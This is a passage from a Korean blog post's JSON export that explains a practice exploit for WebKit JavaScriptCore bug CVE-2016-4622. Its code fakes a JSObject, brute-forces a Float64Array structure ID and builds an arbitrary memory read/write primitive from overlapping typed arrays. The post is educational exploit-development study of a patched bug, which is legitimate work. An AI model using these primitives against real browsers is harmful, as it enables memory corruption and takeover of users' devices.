\uc8fc\uc11d\uc5d0\ub294  &quot;\u2026 operations performed now should be as fast as possible.&quot;\ub77c\uace0 \uacbd\uace0\ud558\uace0 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">var address = Add(addrof(container), 16);   \/\/ container + 0x10\nprint(&quot;[*] Fake JSObject @ &quot; + address);\n\nvar fakearray = fakeobj(address);\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/addrof_plus16_fakeobj.svg\" alt=\"addrof_plus16_fakeobj.svg\"><\/p>\n<h3>4. <code>instanceof<\/code> \ub8e8\ud504 \u2014 \uc9c4\uc9dc StructureID \ucc3e\uae30<\/h3>\n<p>\uc9c0\uae08 <code>m_structureID<\/code>\ub294 0x1000\uc774\ub77c\ub294 \ucd94\uce21\uac12\uc774\ub2e4. \uc774\uac8c \uc9c4\uc9dc Float64Array\uc758 \ubc88\ud638\uc77c\uc9c0 \ubaa8\ub978\ub2e4\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><code>instanceof<\/code>\uac00 \uc5b4\ub5bb\uac8c \uc774\uac78 \uac80\uc99d\ud558\ub294\uc9c0, <code>while (!(fakearray instanceof Float64Array)) {<\/code> \ub8e8\ud504\ubb38\uc73c\ub85c \uacb0\uad6d fakearray\uc758 ClassInfo\uac00 Float64Array\uc778\uc9c0 \ud655\uc778\ud55c\ub2e4.<\/p>\n<p>\uc989 <code>m_structureID<\/code>\ub97c \ud558\ub098\uc529 \ub298\ub824\uac00\uba70, \uadf8 \ubc88\ud638\uac00 \ubc88\ud638\ud45c\uc5d0\uc11c &quot;Float64Array Structure&quot;\ub97c \uac00\ub9ac\ud0a4\ub294 \uc21c\uac04\uc744 \ucc3e\ub294\ub2e4.<\/p>\n<p>\uc774\uc804\uc5d0 1\ubc88 \uacfc\uc815\uc5d0\uc11c \ud588\ub358 <code>sprayStructures()<\/code>\ub97c \ud55c \uc774\uc720\uc5d0 \ub300\ud574 \uc124\uba85\uc774 \ub41c\ub2e4. ****\uc6b0\ub9ac\uac00 \ub9cc\ub4e0 0x1000\uac1c\uc758 Float64Array \uae30\ubc18 Structure \uc911 \ud558\ub098\uc5d0 \ubc18\ub4dc\uc2dc \uac78\ub9b4 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">while (!(fakearray instanceof Float64Array)) {\n    jsCellHeader.assignAdd(jsCellHeader, Int64.One);\n    container.jsCellHeader = jsCellHeader.asJSValue();\n}\n\nprint(&quot;[*] Float64Array structure ID found: &quot; + jsCellHeader.toString().substr(-8));\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/instanceof_bruteforce_loop.svg\" alt=\"instanceof_bruteforce_loop.svg\"><\/p>\n<h3>5. Arbitrary R\/W primitive<\/h3>\n<p><code>fakearray[2]<\/code>\ub97c \uc81c\uc5b4\ud558\uc5ec \uc784\uc758 \uc77d\uae30\/\uc4f0\uae30\ub97c \uad6c\ucd95\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">\/\/\n\/\/ We now have an arbitrary read+write primitive since we can overwrite the\n\/\/ data pointer of an Uint8Array with an arbitrary address.\n\/\/\n\/\/ Optimization: force JIT compilation for these methods.\n\/\/\nmemory = {\n    read: function(addr, length) {\n        print(&quot;[&lt;] Reading &quot; + length + &quot; bytes from &quot; + addr);\n        fakearray[2] = addr.asDouble();    \/\/ \u2605 m_vector \ub97c addr \ub85c \ub36e\uae30\n        var a = new Array(length);\n        for (var i = 0; i &lt; length; i++)\n            a[i] = hax[i];    \/\/ hax \ub85c \uc77d\uae30\n        return a;\n    },\n    \/\/...\n    write: function(addr, data) {\n        print(&quot;[&gt;] Writing &quot; + data.length + &quot; bytes to &quot; + addr);\n        fakearray[2] = addr.asDouble();    \/\/ \u2605 m_vector \ub97c addr \ub85c \ub36e\uae30\n        for (var i = 0; i &lt; data.length; i++)\n            hax[i] = data[i];   hax \ub85c \uc4f0\uae30\n    },\n    \/\/...\n};\n<\/code><\/pre>\n<p><code>fakearray[2]<\/code>\ub294 \uace7  <code>m_vector<\/code>\uac00 \ub418\ub294\ub370, \uc774\ub7ec\ud55c \uc774\uc720\ub294 <code>fakearray<\/code>\uc758 \ub370\uc774\ud130 \ud3ec\uc778\ud130(<code>m_vector<\/code>)\ub294 \ud604\uc7ac <code>hax<\/code>\ub97c \uac00\ub9ac\ud0a8\ub2e4.<\/p>\n<p>Float64Array\uc758 \uc6d0\uc18c \uc811\uadfc\uc740 <code>m_vector + index*8<\/code>\uc785\ub2c8\ub2e4. \uadf8\ub7f0\ub370 <code>fakearray<\/code>\uc758 <code>m_vector<\/code>\uac00 \uac00\ub9ac\ud0a4\ub294 <code>hax<\/code>\ub294 \uadf8 \uc790\uccb4\uac00 \ub610 \ud558\ub098\uc758 Uint8Array \uac1d\uccb4\uac00 \ub41c\ub2e4.<\/p>\n<pre><code class=\"language-jsx\">fakearray.m_vector \u2192 hax \uac1d\uccb4\uc758 \uc2dc\uc791\nfakearray[0] = *(hax + 0)     = hax \uac1d\uccb4\uc758 JSCell \ud5e4\ub354\nfakearray[1] = *(hax + 0x08)  = hax \uac1d\uccb4\uc758 m_butterfly\nfakearray[2] = *(hax + 0x10)  = hax \uac1d\uccb4\uc758 m_vector   \u2190 hax \uc790\uc2e0\uc758 \ub370\uc774\ud130 \ud3ec\uc778\ud130!\n<\/code><\/pre>\n<p><code>hax<\/code>\ub3c4 Uint8Array\ub77c <code>JSArrayBufferView<\/code> \ub808\uc774\uc544\uc6c3\uc744 \ub530\ub974\uace0, \uadf8 <code>m_vector<\/code>\ub294 <code>+0x10<\/code>\uc5d0 \uc788\ub2e4. (\ubc29\uae08 \uc18c\uc2a4\uc5d0\uc11c \ud655\uc778). \uadf8\ub798\uc11c <code>fakearray[2] = X<\/code>\ub294 <code>hax<\/code>\uc758 \ub370\uc774\ud130 \ud3ec\uc778\ud130\ub97c X\ub85c \ub36e\uc5b4\uc4f4\ub2e4\uace0 \ubcf4\uba74 \ub41c\ub2e4.<\/p>\n<p>\uadf8\ub798\uc11c \uc784\uc758 \uc77d\uae30\uac00 \uc5b4\ub5bb\uac8c \ub418\ub294\uc9c0 \uc0b4\ud3b4\ubcf4\uba74,<\/p>\n<pre><code>fakearray[2] = addr           \u2192  hax.m_vector = addr\nhax[i]                        \u2192  *(addr + i)     \u2190 \uc784\uc758 \uc8fc\uc18c \uc77d\uae30!\n<\/code><\/pre>\n<p><code>fakearray[2]<\/code>\ub85c <code>hax<\/code>\uc758 \ub370\uc774\ud130 \ud3ec\uc778\ud130\ub97c \uc6d0\ud558\ub294 \uc8fc\uc18c\ub85c \ubc14\uafbc \ub4a4, \ud3c9\ubc94\ud558\uac8c <code>hax[0]<\/code>, <code>hax[1]<\/code>\u2026\uc744 \uc77d\uc73c\uba74 \uadf8\uac8c \uace7 \uadf8 \uc8fc\uc18c\uc758 \uba54\ubaa8\ub9ac\uc774\ub2e4. \uc4f0\uae30\ub3c4 \ub611\uac19\uc774 <code>hax[i] = v<\/code>\ub85c \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p>\ub450 \ubc30\uc5f4\uc774 \uacb9\uccd0 \uc788\ub294 \uad6c\uc870\uc774\uba70, ****<code>fakearray<\/code>\ub85c <code>hax<\/code>\uc758 \ud3ec\uc778\ud130\ub97c \uc870\uc885\ud558\uace0, <code>hax<\/code>\ub85c \uc2e4\uc81c \uba54\ubaa8\ub9ac\uc5d0 \uc811\uadfc\ud55c\ub2e4. <code>fakearray<\/code>\uac00 \u201c\uc870\uc885\uac04\u201d, <code>hax<\/code>\uac00 &quot;\ucc3d\ubb38&quot;\uc778 \uc148\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/two_overlapping_arrays_rw.svg\" alt=\"two_overlapping_arrays_rw.svg\"><\/p>\n<h3>6. Testing R\/W<\/h3>\n<p><code>addrof(buf) + 0x10<\/code>\uc740 <code>buf<\/code>\uc758 <code>m_vector<\/code>(\ub370\uc774\ud130 \ud3ec\uc778\ud130)\uc774\ub2e4.<\/p>\n<p>\uadf8\uac78 primitive\ub85c \uc77d\uc73c\uba74 <code>buf<\/code>\uc758 \uc2e4\uc81c backing store \uc8fc\uc18c\uac00 \ub098\uc628\ub2e4.<\/p>\n<p>\uac19\uc740 \uba54\ubaa8\ub9ac(<code>backing<\/code>)\ub97c \uc77c\ubc18 JS \uacbd\ub85c(<code>buf[0]<\/code>)\uc640 primitive \uacbd\ub85c(<code>memory.read\/write<\/code>) \uc591\ucabd\uc5d0\uc11c \uac74\ub4dc\ub824 \uad50\ucc28 \uac80\uc99d\ud55c\ub2e4.<\/p>\n<ul>\n<li><code>[read]<\/code>\uac00 <code>[before]<\/code>(65)\uc640 \uac19\uc73c\uba74 \u2192 primitive\uac00 \uadf8 \uc8fc\uc18c\ub97c \uc815\ud655\ud788 \uc77d\uc5c8\ub2e4<\/li>\n<li><code>[after]<\/code>\uac00 255\uba74 \u2192 primitive\uac00 \uadf8 \uc8fc\uc18c\uc5d0 \uc815\ud655\ud788 \uc37c\ub2e4 (\uc77c\ubc18 JS\uac00 \uadf8 \ubcc0\ud654\ub97c \ubd04)<\/li>\n<\/ul>\n<pre><code class=\"language-jsx\">\/\/ test\nvar buf = new Uint8Array(0x100);\nbuf[0] = 0x41;\nvar backing = memory.readInt64(Add(addrof(buf), 0x10));\n\nprint(&quot;[before] buf[0] = &quot; + buf[0]);                       \nprint(&quot;[read]   *backing = &quot; + memory.read(backing, 1)[0]); \nmemory.write(backing, [0xff]);                          \nprint(&quot;[after]  buf[0] = &quot; + buf[0]);  \n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/webkit_1day_practice\/main\/CVE-2016-4622\/pics\/rw_cross_verification.svg\" alt=\"rw_cross_verification.svg\"><\/p>\n<h1>\ucc38\uace0<\/h1>\n<p><a href=\"https:\/\/github.com\/hdbreaker\/WebKit-CVE-2016-4622\">https:\/\/github.com\/hdbreaker\/WebKit-CVE-2016-4622<\/a><\/p>\n<p><a href=\"https:\/\/blog.null2root.org\/blog\/2019\/04\/06\/Attacking-JavaScript-Engines-kor.html\">https:\/\/blog.null2root.org\/blog\/2019\/04\/06\/Attacking-JavaScript-Engines-kor.html<\/a><\/p>\n<p><a href=\"https:\/\/liveoverflow.com\/setup-and-debug-javascriptcore-webkit-browser-0x01\/\">https:\/\/liveoverflow.com\/setup-and-debug-javascriptcore-webkit-browser-0x01\/<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/saelo\/jscpwn\/blob\/master\/pwn.js\">https:\/\/github.com\/saelo\/jscpwn\/blob\/master\/pwn.js<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[11,13,70,25,84],"class_list":["post-4180","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-ios","tag-macos","tag-oob","tag-pwnable","tag-webkit"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4180","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4180"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4180\/revisions"}],"predecessor-version":[{"id":4181,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4180\/revisions\/4181"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}